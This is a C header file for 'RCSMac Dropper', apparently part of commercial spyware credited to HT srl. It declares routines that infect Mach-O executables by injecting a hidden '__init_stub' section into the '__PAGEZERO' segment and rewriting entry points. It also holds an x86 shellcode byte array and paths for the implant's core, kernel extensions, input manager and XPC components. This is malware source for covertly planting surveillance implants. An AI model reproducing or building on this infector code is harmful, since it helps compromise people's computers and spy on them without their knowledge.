/* * RCSMac Dropper * * * Created by Alfredo 'revenge' Pesoli on 20/07/2009 * Win32 porting by Massimo Chiodini on 02/11/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #ifdef WIN32 #pragma once #include #endif #include "RCSMacInfectorUtil.h" #define INJECTED_SECTION_NAME "__init_stub" #define INJECTED_SEGMENT_NAME "__PAGEZERO" #define PAGE_ALIGNMENT 0x1000 #define MH_EXECUTE 0x2 int gNumberOfResources; // // Type of strings // #define STRING_SYMBOL 0x0001 #define STRING_DATA 0x0002 #define CPU_ARCH_ABI64 0x01000000 /* 64 bit ABI */ #define CPU_TYPE_X86 0x7 #define CPU_TYPE_X86_64 (CPU_TYPE_X86 | CPU_ARCH_ABI64) unsigned char crtStart[] = "\x6a\x00\x89\xe5\x83\xe4\xf0\x83\xec" "\x10\x8b\x5d\x04\x89\x5c\x24\x00\x8d" "\x4d\x08\x89\x4c\x24\x04\x83\xc3\x01" "\xc1\xe3\x02\x01\xcb\x89\x5c\x24\x08" "\x8b\x03\x83\xc3\x04\x85\xc0\x75\xf7" //"\x89\x5c\x24\x0c\xe8"; "\x89\x5c\x24\x0c\x60\xe8"; char *coreFilePath; char *confFilePath; char *kext32FilePath; char *kext64FilePath; char *inputManagerFilePath; char *XPCFilePath; char *iconFilePath; char *bitmapFilePath; char *installPath; char *inputFilePath; char *outputFilePath; int gCoreFileSize; int gConfFileSize; int gKext32FileSize; int gKext64FileSize; int gInputManagerFileSize; int gXPCFileSize; int gIconFileSize; int gInputFileSize; int gBitmapFileSize; int gFileType; // 0 = SingleArch, 1 = FAT, 2 = FAT (swap) int gNumStrings; struct fat_header gFatHeader; uint32_t getBinaryEP_32 (void *machoBase); int setBinaryEP_32 (void *machoBase, uint32_t anEntryPoint); int infectSingleArch (char *inputFilePointer, char *outputFilePointer, int inOffsetToArch, int outOffsetToArch, int inputFileSize, int outputFileSize); int infectSingleArch64 (char *inputFilePointer, char *outputFilePointer, int inOffsetToArch, int outOffsetToArch, int inputFileSize, int outputFileSize); int infectBinary (int aBinaryType, int fileSize, char *inputFilePointer, char *outputFilePointer, int outputFileSize, unsigned int *segmentVMAddr); int getBinaryFormat (char *aFilePointer); void usage (_mChar *aBinaryName); int parseArguments (int argc, char **argv); .